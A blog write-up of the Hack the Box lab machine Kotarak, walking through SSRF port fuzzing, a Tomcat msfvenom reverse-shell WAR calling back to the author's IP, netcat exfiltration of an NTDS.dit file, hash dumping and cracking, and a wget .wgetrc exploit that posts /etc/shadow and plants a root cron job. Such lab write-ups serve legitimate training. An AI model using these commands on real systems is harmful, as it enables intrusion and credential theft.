Hack the Box Write-up #6: Kotarak
In this write-up we’re looking at getting into the retired machine Kotarak from Hack the Box. Kotarak was a really fun box as it required lots of different techniques and was just a longer journey to root.
Our first foothold comes via leaked credentials that we can retrieve using server side request forgery. These credentials give us admin access to a Tomcat manager application where we can upload our first reverse shell. From there, we get access to both a NTDS.DIT file and a Windows SYSTEM registry hive which we can leverage to extract user hashes. Cracking these hashes, we level up to another user and eventually use a vulnerability in wget to write our SSH key into the authorized_keys file on another (virtual) host and through that get access to the root flag on there.
Recon and Enumeration
We start by mapping out open ports as always: nmap -sV -sC -oN nmap/init 10.10.10.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
While having a look at the most promising port 8080, let’s start another scan of all TCP ports in the background: nmap -p- -oN nmap/all-tcp 10.10.10.55
.
Looking at the Tomcat instance on 8080 and the default manager path http://10.10.10.55/manager/html
, we try a couple of default creds like tomcat:tomcat
, but quickly see that these won’t get us in.
Checking back on our nmap scan in the background, we have found another open port: 60000. So let’s enumerate this one next.
An Apache instance is listening on 60000 and serves us this page:
The web application seems to fetch whatever URL we give it. Depending on how the application is fetching and outputting the given URL, we can think of two attacks here. First, can we access internal resources (services that listen only on localhost, are otherwise firewalled or running in an internal subnet), maybe even through other URL schemes (like file://
). Or second, can we serve our own page and inject code that might get executed on the server when the fetched contents are further processed (given the contents are not just echoed back out).
Let’s first try to access the same site: http://127.0.0.1:60000
– this works. How about file:///etc/passwd
? Nope, just a message “Try harder” comes back (that particular string seems to be filtered).
How about accessing other internal services like http://127.0.0.1:22
? Looks good. So let’s fuzz all ports for the loopback address using wfuzz.
wfuzz -z file,ports.txt --hh 2 "http://10.10.10.55:60000/url.php?path=http%3A%2F%2F127.0.0.1%3AFUZZ"
We take the ports (1 - 65535) from ports.txt and for each make a request to http://127.0.0.1:<port>
while hiding responses with only 2 characters (run it first without this flag to determine the right number for “empty” responses).
I later learned through ippsec’s walkthrough, that you can also do -z range,1-65355
and save the step of creating the port list file.
We get a result like the following and see a couple of promising candidates:
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000023: 200 4 L 4 W 62 Ch "22"
000000111: 200 17 L 24 W 187 Ch "110"
000000321: 200 26 L 109 W 1232 Ch "320"
000000201: 200 3 L 2 W 22 Ch "200"
000000091: 200 11 L 18 W 156 Ch "90"
000000889: 200 78 L 265 W 3955 Ch "888"
000003307: 200 2 L 6 W 123 Ch "3306"
000008081: 200 2 L 47 W 994 Ch "8080"
000060001: 200 78 L 130 W 1171 Ch "60000"
Looking closer at them, this is what we got:
- 22: OpenSSH <– We knew this already
- 110: Website: “Test page”
- 320: Website: “Admin area login” <– Could be interesting
- 200: Website “Hello World”
- 90: Website: “Page under construction”
- 888: Website: “Simple File Viewer” <– gives us access to some documents
- 3306: MySQL <– Maybe interesting later
- 8080: Tomcat <– We knew this already
- 60000: This site <– We knew this already
The file viewer should be an easy first target.
Looking at the structure of the file links, the site serves these like so: ?doc=<file>
. Let’s check the ones that are > 0 bytes in size.
For example, the backup file can be accessed by requesting http://127.0.0.1:888/?doc=backup
via the application on 60000. And this particular file is actually a nice find. It’s a backup of a Tomcat config file which gives us our first credentials (output shortened):
With these credentials at hand, we can try logging in again at http://10.10.10.55:8080/manager/html
. And voilà, it works!
Getting first shell
With our admin credentials for the Tomcat manager, we can deploy our own applications to the server and thus have code execution.
We’ll create a WAR file of a simple reverse shell with msfvenom and then deploy it (just like we did with the Jerry box).
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1234 -f war -o revshell.war
(We know we’re targeting a 64-bit system as the manager app gives us this information).
Once deployed, we start a listener nc -lvnp 1234
, and then click on the deployed “revshell” application.
We’re getting a 404! I believe this is related to the default page settings. The easiest way to access the app is by looking inside the war file and getting the name of the JSP file. As WAR files are just zip files, we can do unzip -l revshell.war
and see the name: kvlaagcipgr.jsp
in my case.
Accessing http://10.10.10.55:8080/revshell/kvlaagcipgr.jsp
now triggers our reverse shell correctly.
Escalating to atanas
Getting a proper shell via python -c "import pty; pty.spawn('/bin/bash')"
, <Ctrl>Z
, stty raw -echo
, fg
(see previous posts for more on that), we can now look around what we have access to. Right in tomcat’s home directory, we find the following folder: to_archive/pentest_data
. In it are two files that look like copies of a a) NTDS.dit file – the Active Directory database file where objects, including user hashes, are stored –, and b) Windows registry data, most likely the SYSTEM hive.
> file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
We can transfer the files to our machine via netcat:
# listen on our machine
nc -lvnp 4300 > ntds.dit
# send on victim machine
nc 10.10.14.44 4300 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
A quick md5sum *
tells us whether the transfer was successful.
If we indeed have the NTDS.dit and the SYSTEM registry hive, we should be able to extract users and hashes. We can do this very easily with secretsdump from Impacket. I learned about it in the article “Extracting Hashes and Domain Info From ntds.dit”.
> secretsdump.py -ntds ntds.dit -system reg.bin LOCAL
[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit
[...]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[...]
We’re getting lots of users, machines and hashes back. Most likely we’ll need atanas’ or Administrator’s password to proceed, so let’s get cracking:
john --format=nt --wordlist=rockyou.txt hashes
Trying two standard wordlists – rockyou and 000webhost from seclists – we quickly get both hashes cracked:
Administrator:f16tomcat!
atanas:Password123!
Trying to use any of them to open a SSH session (for root or atanas) fails.
Looking a bit more around on the machine, we see that we have multiple network interfaces (ifconfig
) and can also identify a particular ARP cache entry to 10.0.3.133 on the lxcbr0
interface.
> ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:b9:bc:8e
inet addr:10.10.10.55 Bcast:10.10.10.255 Mask:255.255.255.0
[...]
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
[...]
lxcbr0 Link encap:Ethernet HWaddr 00:16:3e:00:00:00
inet addr:10.0.3.1 Bcast:0.0.0.0 Mask:255.255.255.0
[...]
> arp
Address HWtype HWaddress Flags Mask Iface
10.0.3.133 ether 00:16:3e:c9:bd:b1 C lxcbr0
10.10.10.2 ether 00:50:56:b9:90:ea C eth0
Checking with nc 10.0.3.133 22
we see the container host is alive and a SSH server is listening. Unfortunately, our passwords don’t work here either.
Taking a step back and looking at the sshd_config on the main host, we see that only root is allowed to login. So maybe the creds work when we use them directly in our existing shell via su
?
su - atanas
with password f16tomcat!
works! We have now escalated to atanas.
Getting root in the container
Interestingly, atanas owns two files in the /root directory (app.log
and flag.txt
):
app.log
looks like an Apache access log file. We see 2 minute apart GET requests from 10.0.3.133 (the host we discovered earlier) with a user agent of Wget/1.16
:
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
This is probably a cron job set up to run every two minutes. The user agent gives away that an old version of wget is used.
Doing a quick check for known vulnerabilities for this wget version, we quickly find “GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution” via searchsploit wget
or exploit-db.com, respectively.
This exploit seems to be exactly what we need in this case. You can read about the details on the exploit page, but in short: we’re able to trick wget into storing a local file by redirecting the request to a FTP server. By sending a .wgetrc
file, we can change the behavior of wget (if run from the home directory) on the next request to send us file contents of any file the user of the cron job has access to (if root, all) and/or to define a destination directory for fetched files. Doing the latter, we can return a file in crontab format, store it in /etc/cron.d (via the .wgetrc
setting) and then get any command to execute when the cron is run (we can set it to execute every 1 minute).
The exploit script contains almost everything we need, so we’ll just adjust it minimally. It also comes in handy, that we already have a python ftp server package (pyftpdlib) installed on the box (check with pip list
) :-)
There’s only one part that is missing: how can we setup a webserver to listen on port 80 (we can see the requests are not coming through the other ports) when we a) are not root, so cannot use privileged ports and b) cannot modify the httpd’s config, place .htaccess files, or control the Apache service in general.
The missing piece is authbind
and it took me waaaay too long to figure this out.
authbind allows a program which does not or should not run as root to bind to low-numbered ports in a controlled way. (man page).
authbind
is installed on the machine, so it’s possible to do something like authbind nc -lvnp 80
and listen on privileged port 80 as our low-priv user. Doing this, we can also verify that we indeed get a request every two minutes on this port:
atanas@kotarak-dmz:/var/log/apache2$ authbind nc -lvnp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 46080)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive
Cool! So let’s set up our attack and use the code just like described in the proof of concept on exploit-db.com.
> mkdir /tmp/ftp
> cd /tmp/ftp
> vim .wgetrc # and paste the following contents
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
> vim server.py # and paste the following contents
I changed the IP to 10.0.3.1 as this is the IP address of the lxcbr0 interface. I also changed what the cron job should do, which is, adding our pub-key to the authorized_keys files in the /root/.ssh directory (every minute). Apart from these changes, the code is just like it appears in the proof of concept.
You can quickly generate your own keypair using ssh-keygen -t rsa -b 4096
.
Now everything is prepared and we can start the FTP and web server. As we only have one terminal, let’s background the FTP server (we will still get the output):
authbind python -m pyftpdlib -p21 &
authbind python server.py
On an even minute we see the GET /archive.tar.gz
to the web server, which is then redirected to the FTP server. The FTP server serves the .wgetrc
file as expected.
Two minutes later, we’ll get a POST (as we modified the .wgetrc
) with the contents of the shadow file:
root:*:17366:0:99999:7:::
[...]
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
(Since we try to directly get root access via our cron, we don’t need to bother with the retrieved hash of the ubuntu
user for now).
One minute later, our installed cron should have added our key to the authorized_keys file. We can now stop the web server (<Ctrl>C
and the FTP server jobs; kill %1
) and try logging in after waiting this one minute:
ssh -i key root@10.0.3.133
It works, and we are root in the container:
root@kotarak-int:~# id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# hostname
kotarak-int
root@kotarak-int:~# cat /proc/1/environ
container=lxccontainer_ttys=/dev/pts/0 /dev/pts/1 /dev/pts/2 /dev/pts/3
To not endlessly continue to append our key to the authorized_keys file, we can remove the cron job again: rm /etc/cron.d/wget-root-shell
.
Cheers!
More goodness: There’s a fun unintentional way to get to the root flag. Checkout the ippsec video for this box.
I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.
Like to comment? Feel free to send me an email or reach out on Twitter.
Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.